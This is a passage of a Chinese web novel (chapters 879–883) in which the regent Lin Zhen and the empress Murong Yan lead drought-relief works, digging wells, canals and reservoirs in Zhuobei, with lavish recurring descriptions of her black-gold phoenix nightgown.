夜幕降临,繁星初上。临时行宫内灯火通明。慕容嫣沐浴更衣后,依旧换上了另一套款式相近的黑金凤纹睡裙,?拖尾逶迤,坐于案前。 林臻则挑灯夜战,与工部、格物院官员再次细化明日施工方案。 她静静陪伴,偶尔递上一盏参茶,?袖口芬芳暗涌。 直至夜深,方案终定。林臻挥退臣工,回到内室,只见慕容嫣已倚在榻边,似睡非睡,?墨金睡裙铺满榻沿,?拖尾垂落地面,手中还松松握着一卷关于北方水脉的古籍。 他心中暖融,上前轻轻抽走书卷,为她盖好丝被。 “睡吧,嫣儿。明日,与我一同,赐予这片土地甘霖。” 她在睡梦中模糊地应了一声,?睡裙上的巨凤在灯下安然栖息。 第880章 是湿土 翌日清晨,天色未明,涿北县临时行宫已灯火通明。经过一夜筹划,治旱方略已定,大批物资、工匠、民夫已调度完毕。 林臻与慕容嫣并未耽于安寝,早早起身。 慕容嫣身着的,依旧是那身华丽厚重、与她形影不离的黑金色百鸟朝凤睡裙。 经过宫人连夜精心熏烫打理,?睡裙的玄黑底色在晨曦微光中更显沉静深邃,内蕴的幽蓝暗紫微光流转,神秘高贵。? 袍服上那只擎天巨凤的羽翼金线刺绣熠熠生辉,赤金、玫金、银白、紫金的华彩仿佛积蓄了一夜的力量,愈发灼目,凤眸宝石锐利如初。 ?宽大喇叭袖袖口的黑珍珠与乌金流苏纹丝不动。那长达三丈、缀满珍宝的拖尾,?自然地垂落于地,铺陈在行宫走廊光洁的地砖上,如同一条蓄势待发的墨金色河流,华光内敛,却威仪自生。 用过早膳,林臻携慕容嫣登上一辆特制的、更为宽敞坚固的御辇,在一众精锐护卫与工部、格物院官员的簇拥下,径直前往选定的“龙首井”钻探地点。 抵达之时,朝阳初升,金色的阳光洒满大地,却更显土地的焦渴。 巨大的深钻机械已然架设完毕,精钢打造的钻杆在阳光下闪烁着冷硬的光芒,数百名精壮的工匠与军士肃立待命,周围是密密麻麻、翘首以盼的灾民。 御辇停稳,林臻率先步下。他今日换了一身便于行动的玄色劲装,外罩一件轻便的软甲,英气逼人。 他目光扫过准备就绪的工地,沉稳地点了点头。 随即,他转身,向辇内伸出手。 当慕容嫣扶着林臻的手,缓步走下御辇时,整个工地再次陷入了那种熟悉的、极致震撼后的死寂! 在朝阳的金辉与黄土的背景下,那身极致墨金色的睡裙爆发出无与伦比的视觉冲击力! ?玄黑底色仿佛将最深的夜凝聚于一身,?巨凤金绣在阳光下彻底苏醒,每一片羽毛都反射着夺目的光芒,赤金流火,玫金熔霞,银白泻地,紫气东来,凤眸宝石如两颗缩小的烈日,令人无法直视! ?宽大喇叭袖在晨风中微微拂动,袖口珍宝流光溢彩。而那长达三丈的镶宝拖尾,更是毫无保留地、沉重地直接拖曳在干涸、粗糙、满是沙砾的黄土之上!?? 华贵到极致的拖尾与贫瘠的土地剧烈碰撞,其上无数宝石疯狂折射着阳光,形成一片令人目眩神迷的璀璨光晕,仿佛一条真正的、流淌着光辉的墨金色星河降临凡尘,强行注入这片绝望的土地! 她容颜绝世,神情平静,在这身睡裙的包裹下,尊贵、神秘、且带着一种不容置疑的权威,仿佛她的到来本身,便是甘泉将至的吉兆。 “陛下万岁!万万岁!”震天的山呼声将人们惊醒,所有人慌忙跪地,工匠、军士、灾民,黑压压跪倒一片。 “平身。”林臻的声音沉稳有力,压过了现场的喧嚣,“各司其职,即刻开工!” “开工!”工部官员高声传令。 沉重的深钻机械在牛马和人力拉动下,开始发出轰鸣,巨大的钻头缓缓旋入干硬的地面,发出刺耳的摩擦声。 林臻并未站在远处指挥,而是携着慕容嫣,直接走向钻探核心区域。 那沉重拖尾毫无阻碍地拖曳于后,在黄土上划出一道清晰而华贵的痕迹,宝石刮擦着沙砾,发出细密的声响,所过之处,尘土似乎都为之退避。 工匠与军士们看到帝后亲临,激动得浑身颤抖,干劲倍增,却又不敢抬头直视那过于耀眼的尊荣。 来到钻机旁,林臻仔细询问着钻探进度、地层情况。慕容嫣静立一旁,?墨金睡裙在黄土背景下如同一幅流动的壁画,?拖尾铺展,华光灼灼。 她的目光落在飞速旋转的钻杆上,眼神专注。 忽然,钻头似乎遇到了极其坚硬的岩层,进度骤然缓慢,机械发出沉闷的吼声,拉动的牛马也开始吃力。 工部官员面露难色:“王爷,此地岩层比预想更厚更硬,恐需时甚久…” 林臻眉头紧锁。时间,是旱灾中最宝贵的东西。 就在这时,慕容嫣喇叭袖下的手轻轻抬起,指向钻机旁一堆准备好的、用于应对坚硬岩层的特制钻头中的一件。那钻头形状与她昨日所指图纸上的螺旋倒刺式颇为相似,但角度更为尖锐。 林臻目光一闪,立刻道:“换那个钻头!” 工匠一愣,随即恍然,急忙指挥更换。新钻头装上后,钻探的沉闷声响果然为之一变,虽然依旧艰难,但进度明显加快! “陛下圣明!王爷英明!”工部官员激动万分。 慕容嫣嘴角微不可察地弯了一下。 巡视完“龙首井”,林臻又携慕容嫣前往古河道挖掘现场。这里更是人声鼎沸,成千上万的民夫在官员指挥下,沿着古河道遗迹,分段挖掘深井和引水渠。 见到帝后驾临,尤其是看到那身在黄土飞扬的工地上依旧华美得不可思议的墨金睡裙,民夫们激动得无以复加,纷纷跪地叩拜,高呼万岁。 林臻挥手让他们起身劳作,亲自下到一处已挖了数丈深的井坑边勘察。慕容嫣自然跟随,?沉重的睡裙拖尾随之拖曳过坑边堆起的土堆,滑入坑沿,华光与泥土交织。 林臻抓了一把井底挖出的泥土,仔细捻搓,又观察岩层走向,与工部官员讨论着水脉可能的方向。 慕容嫣静静立在井边,?睡裙的巨凤图案在井下阴暗环境的反衬下,更显璀璨。她喇叭袖下的手扶着一旁用来测量深度的标尺,目光扫过井壁上渗出的极其细微的、几乎看不见的湿气痕迹。 她忽然伸出戴着丝绒手套的手指,极轻地点了点那处几乎不存在的湿痕。 林臻立刻注意到,俯身仔细查看,眼中精光爆闪:“由此处,向西偏半尺,继续深挖!必有水脉!” 工匠们虽不明所以,但对摄政王的命令毫不怀疑,立刻调整方向,奋力挖掘。 果然,不到半个时辰,井底传来狂喜的呼喊:“湿土!是湿土!出水了!快出水了!” 消息如同长了翅膀,瞬间传遍整个工地,所有民夫都沸腾了!欢呼声震天动地! 林朗笑出声,激动之下,竟忘了身份,一把抱起慕容嫣,原地转了一圈!慕容嫣轻呼一声,?宽大的喇叭袖与沉重的拖尾随之飞扬舞动,在阳光下划出炫目的光弧,华美得令人窒息! 放下她后,林臻才觉失态,低笑道:“嫣儿真是福星!” 慕容嫣脸颊微红,嗔怪地睨了他一眼,?喇叭袖下的手却轻轻整理了一下他因激动而微乱的衣襟。 激动过后,林臻挽起袖子,竟亲自拿起一把特制的、黄金为头、沉香木为柄的“御用”锄头,对慕容嫣伸出手:“嫣儿,可愿与为夫,共掘一锄,以为万民祈雨之始?” 慕容嫣看着他眼中的笑意与鼓励,又看了看那金锄,微微颔首。 林臻扶着她,走到一处刚刚划定的渠线起点。他先是用金锄在地上轻轻刨开一个小坑,然后将锄柄递到慕容嫣手中,自己的大手则覆在她喇叭袖下的手上。 “来,嫣儿,我们一起。” 慕容嫣在他引导下,象征性地将锄头切入土中,微微用力一撬。她睡裙的宽大喇叭袖因动作而晃动,袖口流苏轻响。那沉重拖尾也因她的动作而在身后微微移动,碾过泥土。 虽然只是象征性的、几乎未费力气的一锄,但女帝陛下亲自“动土”的意义非同凡响! 周围民夫与官员再次激动跪拜,高呼万岁,士气高涨到了顶点! “以此锄为始,水渠必成!”林臻高声道。 “水渠必成!万岁!万岁!” 之后,林臻又携慕容嫣巡视了蓄水塘的选址,亲自定下塘坝走向与深度。 整个上午,帝后二人的身影出现在治旱工地的各个关键节点。那身墨金色睡裙与迤地拖尾成为了工地上最奇异也最鼓舞人心的风景。 她无需言语,她的存在本身,她那身极致华服与黄土的强烈对比,她那偶尔看似随意却总切中要害的指点,以及林臻对她无微不至的呵护与绝对的重视,都极大地激励了所有人。 午时,烈日当空。林臻恐慕容嫣劳累,强令她回行宫歇息。 回到行宫,宫人早已备好清凉汤浴。林臻亲自为她解下睡裙。尽管他百般呵护,那长达三丈的拖尾边缘不可避免地沾染了更多的尘土,甚至有几处极细微的勾丝。 林臻毫不在意自己的满身尘土,却极其小心地检查着睡裙,指尖拂过那几不可察的勾丝,眼中满是心疼:“委屈嫣儿的衣裳了。” 慕容嫣摇摇头,浸入温暖的浴汤中,?睡裙被宫人小心捧去清理。她靠在池边,看着林臻,轻声道:“能出水,便好。” 林臻心中暖融,俯身吻了吻她的额头:“今日之功,嫣儿当居首功。” 下午,慕容嫣换上了一套款式相近、同样华贵的墨金睡裙,?拖尾迤地,再次与林臻出现在工地上。井深不断加深,水渠不断延伸,希望的泉水,仿佛正随着那墨金色的凤仪,一点点沁入干涸的土地。 夜幕降临,工地依旧火把通明,热火朝天。第一口深井,终于冒出了浑浊却无比珍贵的泥水!虽然还未彻底澄清,却意味着希望已成现实! 消息传来,行宫内,慕容嫣正倚窗望着星空。林臻大步走入,激动地握住她的手:“嫣儿,出水了!” 慕容嫣眼中闪过一丝光亮,唇角微微扬起。 林臻看着她睡裙上华贵的巨凤,朗声笑道:“待明日,水清渠成,朕要在这涿北之地,为我的嫣儿,建一座‘沐凤台’,以纪念今日之功!” 慕容嫣靠进他怀里,?宽大喇叭袖环住他的腰,轻声应道:“嗯。” ?华服虽染尘,甘泉已暗生。凤仪亲临处,枯木待逢春。? 第881章 陛下天纵奇才 距离“龙首井”钻出泥水已过去三日。 这三日,涿北大地仿佛被注入了新的生命力。 以“龙首井”为核心,沿古河道挖掘的深井接连出水,虽水量初始不大,且浑浊不堪,但那汩汩涌出的湿意,对于久旱的土地与绝望的民心而言,无异于仙泉神露! 清晨,薄雾尚未散尽,空气中已弥漫着湿润的泥土气息与一种难以言喻的、希望萌发的躁动。临时行宫外,车马早已备好。 林臻与慕容嫣并未耽延,准时现身。 慕容嫣身着的,依旧是那身华丽厚重、与她形影不离的黑金色百鸟朝凤睡裙。 经过宫人彻夜的精心打理与熏香,?睡裙的玄黑底色在晨雾中更显沉静深邃,仿佛能将周遭的湿气都吸纳转化为内蕴的幽蓝暗紫微光,神秘而高贵。 ?袍服上那只擎天巨凤的羽翼金线刺绣经过反复擦拭,愈发璀璨夺目,赤金流火,玫金熔霞,银白泻地,紫气氤氲,凤眸宝石在雾气中折射出朦胧却锐利的光芒。 ?宽大喇叭袖袖口的黑珍珠与乌金流苏纹丝不动,泛着冷冽光泽。那长达三丈、缀满珍宝的拖尾,?自然地垂落于地,铺陈在行宫前微湿的石板上,如同一条蓄满了晨露的墨金色星河,华光流转,威仪自生。 林臻今日换了一身便于行动的墨色骑装,外罩一件防尘的玄色斗篷,精神奕奕,眉宇间带着连日辛劳却难掩的振奋。 御辇并未前往昨日喧嚣的钻探工地,而是驶向了另一处已然热火朝天的所在——古河道疏浚与引水渠开挖的现场。 此地景象与数日前已大不相同。虽然依旧黄土漫天,人声鼎沸,但空气中已不再是绝望的干燥,而是充满了汗水、湿泥与某种期盼交织的气息。 数口深井已然成型,工匠们正忙着用砖石砌垒井壁,安装辘轳。更引人注目的,是一条初具雏形的引水渠,正从一口出水量最大的深井处,向着远处规划中的蓄水塘方向蜿蜒挖掘。 御辇在渠首附近停下。 林臻率先步下,目光锐利地扫过工程进度,满意地点了点头。他转身,向辇内伸出手。 当慕容嫣扶着林臻的手,缓步走下御辇时,工地上那熟悉的、令人窒息的寂静再次降临,随即爆发出更加狂热的、带着哽咽的欢呼声! “陛下万岁!万岁!万万岁!” “王爷千岁!” 百姓与工匠们纷纷跪倒,许多人眼中含着热泪。他们亲眼见证了奇迹的发生——在那身极致华贵的墨金睡裙降临之后,干涸的土地竟真的涌出了泉水! 此刻,在他们眼中,那身睡裙已不仅仅是尊贵的象征,更带上了某种神圣的、带来生机的光辉! 在晨雾与朝阳的金辉交织下,慕容嫣睡裙的玄黑底色与巨凤金绣呈现出一种惊心动魄的美感。 华光流转,与周遭的黄土、湿泥、汗水形成了极致对比,却又奇异地融合在一起,仿佛她本就是这片正在复苏的土地的一部分,是带来甘霖的凤凰化身! 那宽大喇叭袖在湿润的空气中更显飘逸。 而那长达三丈的镶宝拖尾,再次毫无保留地、沉重地直接拖曳在渠边湿润、泥泞的黄土之上!?? 华贵到极致的拖尾边缘浸入了泥水之中,宝石与金线沾染了浑浊的泥浆,却依旧固执地折射着阳光,形成一片流动的、璀璨的光晕,仿佛一条正在将生命之源注入大地的神之河流! 她容颜绝世,神情依旧平静,在这身睡裙的包裹下,尊贵、神秘,且带着一种近乎慈悲的庄严。 林臻紧握她的手,扶她站稳,对跪伏的民众抬手:“平身!继续劳作!” “谢陛下!谢王爷!” 人们激动地起身,干劲愈发高昂。 林臻携慕容嫣走向那口已开始砌垒的“主源井”。 井水已初步沉淀,虽未完全清澈,但已能映出人影。 工匠正将水桶通过辘轳放入井中,打上水来,倒入一旁临时挖出的沉淀池中。 慕容嫣静静立于井边,?睡裙的墨金色倒映在微浊的水面上,?巨凤仿佛在水中游动。 她喇叭袖下的手轻轻抬起,指向沉淀池中缓缓沉淀的泥沙。 林臻立刻领会,对工部官员道:“加速沉淀之法?格物院可有方案?” 一旁候命的格物院技师连忙上前:“回王爷,已试验成功,投入明矾粉末,可速澄清水质。” “即刻施行于所有出水井!”林臻令下。 “是!” 慕容嫣微微颔首,目光转向那条正在挖掘的引水渠。渠床已挖出数尺深,民夫们正用锄头、铁锨奋力开挖,并将泥土运走。 林臻扶着她,沿着渠线缓步行走。 那沉重拖尾毫无阻碍地拖曳于后,在泥泞的渠岸上划出一道深重而华贵的痕迹,宝石刮擦着湿泥,沾染了更多的污渍,却依旧华光不减,所过之处,民夫皆深深低头,不敢仰视,却又忍不住用眼角余光膜拜那带来希望的神迹。 来到一处渠段,民夫们正在艰难地挖掘一段异常坚硬胶结的土层,进度缓慢。 慕容嫣停下脚步,?睡裙拖尾静静铺在泥地上。 她喇叭袖下的手再次抬起,指向民夫手中普通的铁锨,又指向一旁堆放的、几柄材质明显不同、带有格物院标记的钢锨。 林臻眼中一亮:“换格物院新炼的钢锨!于此硬土段试用!” 命令下达,新式钢锨分发下去。 民夫们一试,果然省力不少,挖掘效率大增! “陛下圣明!王爷英明!”欢呼声再次响起。 慕容嫣嘴角微弯,继续前行。 前方,渠线需穿过一小片低洼的沼泽地,泥泞不堪,施工困难。官员正在争论是绕行还是填埋。 慕容嫣与林臻行至此处,?睡裙拖尾的边缘彻底浸入了泥沼之中,华贵的墨金色与乌黑的泥浆形成刺目对比。 她静静看了一会儿泥泞的洼地,又抬头望了望渠线走向,?喇叭袖下的手轻轻一划,做了一个分流环绕的手势。 林臻凝神思索片刻,抚掌笑道:“嫣儿妙计!不必填埋,亦不必绕远!于此洼地边缘开挖浅渠分流,将此洼地顺势改造为一个小型沉淀池兼蓄水塘,既可通水,又可净储,一举两得!” 工部官员恍然大悟,纷纷拜服:“陛下天纵奇才!臣等愚钝!” 慕容嫣微微垂下眼帘,?宽大喇叭袖掩住半张脸,似乎对这般直白的夸赞有些许不适。 林臻低笑,爱极她这般模样。 巡视完渠首,林臻又携慕容嫣登上渠畔一处稍高的土坡,俯瞰整个工程现场。只见人如蚁聚,渠如龙延,井口波光粼粼,一派热火朝天的复苏景象! 清风拂过,带来湿润的水汽。慕容嫣墨金睡裙的宽大喇叭袖与沉重拖尾在风中微微拂动,华光流转,她深吸一口气,仿佛将这希望的气息也吸入了肺中。 林臻站在她身侧,指着远方:“待主渠贯通,连接各井,汇入蓄水大塘,便可开闸放水,灌溉农田。届时,这片焦土,必将重现生机!” 他的话语充满了力量与希望,感染着在场的每一个人。 慕容嫣静静听着,目光悠远,?睡裙上的巨凤在阳光下展翅欲飞。 此时,几名老者在一名官员引导下,颤巍巍地前来叩谢天恩,手中捧着刚刚从沉淀池中打上来的、已略显清澈的井水。 林臻亲自接过水碗,并未自己饮用,而是先递到慕容嫣唇边。 慕容嫣就着他的手,微微低头,?喇叭袖轻掩,小啜了一口微凉的井水。清水入口,带着一丝泥土的腥气与明矾的微涩,却让她眼中闪过一丝极淡的、奇异的光彩。这是她亲自“见证”并“参与”得来的水。 她将碗推回林臻唇边。林臻会意,就着她喝过的地方,将碗中水一饮而尽,朗声道:“此水甚甜!” 百姓们见状,激动得热泪盈眶,再次跪拜。 之后,林臻挽起袖子,再次拿起那柄金锄,并非象征性破土,而是与慕容嫣一同,为一段已挖好的渠床进行“奠基”仪式——共同砌下第一块加固渠岸的青石板。 林臻扶着慕容嫣的手,两人合力将石板安置妥当。慕容嫣喇叭袖下的手与他交叠,?睡裙拖尾铺展在渠岸的湿泥上,沾染了更多的泥点,她却浑不在意。 “以此石为基,水渠永固,旱魃永绝!”林臻高声道。 “水渠永固!旱魃永绝!万岁!万岁!” 响彻云霄的欢呼声中,慕容嫣靠在林臻身侧,?华服染尘,墨金依旧,目光平静地注视着这片正在她脚下焕发生机的土地。 午时,帝后并未立刻回銮,而是在工地旁的临时帷帐内,与民同食——食用的是刚刚用新汲井水熬煮的薄粥与蒸饼。 慕容嫣睡裙迤地,坐于铺着虎皮的胡床上,小口吃着林臻亲手递来的蒸饼,姿态依旧优雅无比,与周遭环境格格不入,却又奇异地和谐。 下午,他们又视察了蓄水大塘的挖掘进度,并亲自确定了放水闸口的位置。 夕阳西下,倦鸟归林。第一段主引水渠终于全线挖通!工匠开启临时水闸,浑浊却宝贵的井水,沿着新挖的渠道,哗啦啦地流向远方的蓄水塘! 水流声如同最美妙的乐章,响彻在涿北的土地上。百姓们沿着水渠奔跑欢呼,许多人跪在渠边,用手捧起河水,泣不成声。 慕容嫣与林臻立于渠畔,看着欢腾的流水。 夕阳的金辉洒在慕容嫣的墨金睡裙上,?巨凤羽翼流光溢彩,?拖尾浸在渠边溅起的泥水中,华光与泥泞交织,仿佛一幅永恒的画卷。 “水来了…”慕容嫣轻声说,语气中带着一丝不易察觉的欣慰。 “嗯,水来了。”林臻紧紧握住她的手,目光灼灼,“这都是嫣儿的功劳。” 回到行宫,宫人伺候沐浴。林臻亲自检查那身睡裙,发现拖尾边缘与袖口沾染的泥渍已干涸,镶嵌的宝石缝隙中也嵌入了沙土。 他丝毫不嫌麻烦,亲自用软刷蘸着特制的香露,极其小心地为她清理。 “今日,嫣儿的衣裳受苦了。”他低笑道,语气中满是宠溺。 慕容嫣浸在浴汤中,摇摇头:“值得。” 林臻心中一动,俯身吻了吻她湿润的肩头:“我的嫣儿,是天下最好的女帝。” 是夜,涿北县城内外,无数百姓对着行宫方向叩拜,口中念念有词,感念“凤凰女帝”带来甘霖。那身墨金色的睡裙,已深深烙印在他们的心中,成为希望与皇权的化身。 ?华服染尘终不悔,凤仪所至甘泉生。? 第882章 十日之期 十日之期,转瞬即逝。 涿北大地已非昔日死寂模样。 以“龙首井”为源,沿古河道疏浚挖掘的深井群已相继出水,并经格物院提供的明矾速澄法初步净化。 一条主干引水渠如大地脉络般蜿蜒伸展,连接各井,最终汇向那片依托天然洼地扩建而成的巨大蓄水塘。塘坝已初步夯实,闸口亦安装完毕。 整个水利网络,已初具雏形,只待一声令下,便可开闸放水,滋润干渴的土地。 这日清晨,天色湛蓝,阳光灿烂,却不再有往日那令人绝望的灼热,空气中弥漫着湿润的泥土气息与草木微弱的复苏气息。 蓄水大塘的闸口附近,人头攒动,万民空巷。百姓们扶老携幼,翘首以盼,脸上交织着激动、期盼与难以置信的喜悦。官员、工匠、军士各司其职,肃然而立,等待着那神圣的时刻。 临时搭建的观礼高台之上,旌旗招展。台下的土地虽依旧贫瘠,却已隐隐透出一丝生机。 辰时正,鼓乐齐鸣。摄政王林臻与女帝慕容嫣的仪仗抵达高台之下。林臻今日一身玄青缂丝蟠龙常服,金冠玉带,英姿勃发,眉宇间带着掌控全局的沉稳与即将功成的锐气。 他率先步下御辇,目光扫过已然蓄了半塘清波的蓄水塘,以及那坚固的闸口,眼中闪过一丝满意的光芒。随即,他转身,向辇内伸出手,动作轻柔而珍重。 下一刻,当慕容嫣扶着林臻的手,缓步走下御辇时,整个现场再次陷入了那种熟悉的、极致震撼后的寂静,随即爆发出比以往任何一次都更加狂热、更加发自肺腑的欢呼声! “陛下万岁!万岁!万万岁!” “王爷千岁!千岁!千千岁!” 声浪震天,许多百姓甚至激动得泣不成声。 慕容嫣身着的,依旧是那身华丽厚重、象征着她无上权威与个人偏好的黑金色百鸟朝凤睡裙。在湛蓝天空与灿烂阳光的映衬下,这身睡裙的华美与威仪被提升到了前所未有的高度! ?极致玄黑的底色仿佛吸纳了天地间所有的光辉,呈现出一种比最深的墨玉更温润、比最沉静的夜空更神秘的质感,内蕴的幽蓝暗紫微光流转不息。? 袍服之上那只擎天巨凤的羽翼金线刺绣,在阳光下彻底绽放,赤金如熔炉沸腾,玫金如云锦铺霞,银白如九天银河倾泻,紫金如祥瑞紫气东来,凤眸宝石折射出堪比烈日的光芒,华美尊贵,气势磅礴,仿佛下一刻便要振翅高飞,呼风唤雨! ?宽大喇叭袖袖口的黑珍珠与乌金流苏在微风中轻轻碰撞,发出清脆悦耳的金石之音。而那长达三丈、缀满珍宝的拖尾,更是毫无保留地、沉重地直接拖曳在高台下新铺垫的、略显潮湿的黄土之上!?? 华贵到极致的拖尾如同一条自九天垂落的墨金色瀑布,其上无数宝石疯狂地折射着阳光,形成一片令人无法直视的、流动的璀璨光河,与台下那波光粼粼的蓄水塘交相辉映! 她的存在,她的这身睡裙,仿佛本身就是一场对旱魃的终极胜利宣言! 容颜绝世,神情平静中带着一丝不易察觉的庄严,?睡裙加身,她便是这方天地间唯一的主宰,恩泽的化身! 林臻紧紧握着她的手,扶她一步步登上高台。那沉重拖尾随之拖曳于台阶之上,华光流转,碾压过每一级台阶,仿佛将皇家的恩宠与威严,实实在在地“铺”到了万众眼前。 高台之上,视野极佳,可俯瞰整个蓄水塘与主干渠的走向。微风拂过,带来清凉的水汽。 林臻携慕容嫣于台前站定,接受万民朝拜。 “平身。”林臻的声音通过特制的扩音铜管,清晰地传遍四方,“今日,赖陛下洪福,万民协力,甘泉终成!此渠此塘,乃新生之脉!开闸——” “开闸!”工部官员高声传令! 闸口处的工匠闻令,奋力转动绞盘!沉重的铸铁闸门在嘎吱声中缓缓提升! 所有人的心都提到了嗓子眼,目光死死盯住闸口! 下一刻,一股清冽的、泛着白色泡沫的水流,如同挣脱束缚的蛟龙,轰然从闸口奔涌而出!沿着早已挖好并夯实的主干渠,奔腾向前! “水来了!” “真的出水了!” “是清水啊!” 欢呼声、哭喊声、赞叹声瞬间如山崩海啸般爆发出来!百姓们沿着水渠奔跑着,欢呼着,许多人跪在渠边,不顾一切地用手捧起清凉的渠水,泼在脸上,喝入口中,涕泪横流! 水流速度极快,迅速灌入干涸的渠道,向着远方焦渴的田地奔去。 慕容嫣静静立于高台之上,?墨金睡裙在阳光下熠熠生辉,?巨凤仿佛随时要腾空而起。她喇叭袖下的手轻轻抬起,指向渠水中翻滚的浪花。 林臻顺着她指的方向看去,只见水流虽大,却因渠道新成,冲刷起不少泥土,略显浑浊。他立刻下令:“投絮凝草束!加速沉淀,保渠水入田时更为清澈!” 命令立刻被执行。预先准备好的草束被投入渠中关键节点,吸附泥沙。 水流奔腾,欢呼不绝。 林臻心情激荡,转身对慕容嫣柔声道:“嫣儿,可愿与为夫一同,为万民,赐下第一捧灌溉之水?” 慕容嫣微微颔首。 林臻便扶着她,一步步走下高台,来到渠边一处预先留出的、用青石板砌好的取水口旁。清水在此处已沉淀得较为清澈。 官员奉上一只精美的黄金长柄水瓢。 林臻先接过水瓢,舀起满满一瓢清澈的渠水,然后转身,将水瓢递向慕容嫣,自己的大手则覆在她喇叭袖下的手上,共同握住瓢柄。 “嫣儿,来。” 在万千百姓激动无比的注视下,慕容嫣在林臻的扶持下,?身着那身极致华贵的睡裙,?宽大喇叭袖微微垂下,共同将金瓢中的清水,缓缓倾倒入旁边一片特意预留的、极度干裂的试验田畦中。 清水迅速渗入干渴的土地,发出滋滋的声响,瞬间被吸收,留下一片深色的湿痕。 这象征性的一刻,被无数人深深烙印在心中!女帝陛下华服盛装,亲自赐下甘霖! “万岁!万岁!万岁!”欢呼声再次达到高潮! 慕容嫣看着清水渗入土地,?睡裙上的巨凤羽翼仿佛更加流光溢彩。她喇叭袖下的手,轻轻反握了一下林臻的手。 倒完水,林臻并未放下金瓢,而是就着慕容的手,再次舀起一瓢水,这一次,他笑着将水瓢微微倾向慕容嫣。 慕容嫣微微一怔,随即在万民惊讶的目光中,微微低下头,就着他手,?喇叭袖轻掩,小啜了一口渠中的清水。 清水入口,带着一丝泥土的腥甜与明矾的微涩,却清澈凉润。她抬起头,眼中闪过一丝极淡的、奇异的光彩,对着林臻,轻轻点了点头。 林臻大笑,心情畅快至极,就着她喝过的地方,将瓢中剩余的水一饮而尽,朗声道:“此水,甚甜!乃陛下与万民同心之作!” 百姓们见状,激动得无以复加,纷纷跪地,捧起渠水饮用,仿佛饮下的是琼浆玉液。 之后,林臻兴致高昂,竟挽起袖子,亲自拿起一把金锹,为一段渠岸进行加固象征性培土。 慕容嫣自然陪同,?睡裙拖尾再次拖曳于渠边湿泥之上,华光与泥泞交织,她却毫不在意,甚至喇叭袖下的手,也轻轻扶了一下锹柄,与他共同完成了一锹土的培实。 这亲民的一幕,再次引来震天欢呼。 巡视完奔腾的水渠,林臻又携慕容嫣登上一辆轻便的御辇,沿着主干渠缓缓前行,视察水流情况。 那长达三丈的睡裙拖尾,?迤逦拖曳于御辇之后,在黄土路上划出一道华丽而庄重的痕迹,所过之处,百姓皆跪拜祈福。 他们看到水流欢快地涌入一片片干裂的农田,农人们激动地引水入畦,脸上洋溢着希望的笑容。 来到一片地势较高的田地,水流需通过一架新制的翻车(龙骨水车)才能提水灌溉。慕容嫣睡裙拖尾铺展于地,静静看了一会儿水车的工作,?喇叭袖下的手指轻轻指向水车的叶片角度。 林臻仔细观察,发现角度可微调以更省力提水更多,立刻令工匠调整。 调整后,效率果然提升。百姓们对女帝陛下的“神机妙算”更是敬若神明。 日落时分,夕阳将天空染成金红色。大部分渠道已通水完毕,潺潺流水声取代了往日的死寂,滋润着干渴的土地。 林臻与慕容嫣立于一处高坡,俯瞰着这片逐渐被水色浸润的大地。 夕阳的金辉为慕容嫣的墨金睡裙镀上了一层温暖的光晕,?巨凤仿佛浴火重生,?拖尾铺展在草地上,沾染了露水与草屑,却依旧华光璀璨。 “嫣儿,你看,”林臻揽着她的肩,指向远方,“假以时日,这里必将禾苗青青,绿野千里。” 慕容嫣依偎在他怀里,?宽大喇叭袖垂落,轻轻“嗯”了一声,目光悠远,?睡裙上的水汽与夕阳交融。 回銮途中,经过一片刚刚浇灌过的田地,泥土的芬芳扑面而来。慕容嫣忽然让御辇停下。 她扶着林臻的手走下辇车,?睡裙拖尾再次拖曳于湿润的田埂之上。她微微俯身,?喇叭袖拂过田埂上的野草,伸出未戴手套的纤纤玉手,极轻地触碰了一下一片刚刚被水流滋润、微微泛绿的野草嫩芽。 那专注而宁静的神情,在夕阳下,美得令人窒息。 林臻站在她身后,静静地看着她,看着墨金睡裙与盎然绿意形成的绝美画面,心中充满了无尽的满足与爱意。 是夜,临时行宫举行了一场小型的庆功宴。 慕容嫣依旧身着睡裙,?拖尾迤逦,坐于主位,安静地接受臣工的敬贺。林臻代她饮下庆功酒,意气风发。 宴后,宫人伺候沐浴。 林臻亲自为她褪下睡裙,发现拖尾与袖口不仅沾染了泥水,还挂上了几根草屑。他极其小心地一一清理,眼神专注而温柔。 “我的嫣儿,今日辛苦了。”他低声道。 慕容嫣摇摇头,靠进浴汤中,闭上眼,轻声道:“水…很好。” 林臻笑了,俯身吻了吻她的额头:“是的,很好。这都是嫣儿的功劳。” ?华服染尘终不悔,墨凤亲临引甘泉。渠成水到万民欣,凤仪永泽北地田。? 第883章 半月时光 半月时光,如白驹过隙。涿北之地,已焕然一新。 纵横交错的渠网已然贯通,清澈的井水欢快地流淌其间,昔日干裂的河床与池塘蓄起了粼粼波光,空气中弥漫的不再是令人绝望的焦土气息,而是湿润的泥土芬芳与草木复苏的清新。 虽然离真正的丰收尚需时日,但大地已然复绿,田畴之中,新播的粮种已吐出嫩绿的幼芽,一片生机勃勃的景象。 今日,是计划中首次大规模引蓄水塘之水,灌溉万亩良田的日子。这对于涿北百姓而言,无异于真正的节日! 天还未亮,渠道沿线、田埂之间,已是人山人海,万民空巷。人们穿着虽然破旧却浆洗干净的衣裳,脸上洋溢着前所未有的希望与喜悦,翘首以盼那神圣时刻的来临。 蓄水塘的主闸口附近,用黄土临时垫高,搭建起了一座观礼高台,披红挂彩,虽简陋,却充满了喜庆气氛。 辰时三刻,阳光明媚,春风和煦。鼓乐喧天,仪仗煊赫。摄政王林臻与女帝慕容嫣的御驾准时抵达。 林臻今日一身绛紫金线蟠龙朝服,九旒冕冠,英武不凡,眉宇间带着大功告成的欣慰与掌控天下的雍容。 他率先步下御辇,目光扫过波光潋滟的蓄水塘、整齐的渠网以及远方那一片片嫩绿的田野,唇角扬起一抹满意的弧度。 他转身,向辇内伸出手,动作一如既往的轻柔与珍重。 当慕容嫣扶着林臻的手,缓步走下御辇时,尽管已不是第一次见到,但现场数以万计的百姓依旧瞬间屏住了呼吸,随即爆发出惊天动地、发自肺腑的狂热欢呼! “陛下万岁!万岁!万万岁!” “王爷千岁!千岁!千千岁!” 声浪如潮,许多老人激动得老泪纵横,孩童们睁大了眼睛,望着那如梦似幻的身影。 慕容嫣身着的,依旧是那身华丽厚重、已成为她与这片土地深刻羁绊的黑金色百鸟朝凤睡裙。在灿烂的春日阳光与碧水蓝天的映衬下,这身睡裙的华美、尊贵与威仪,达到了前所未有的极致!? 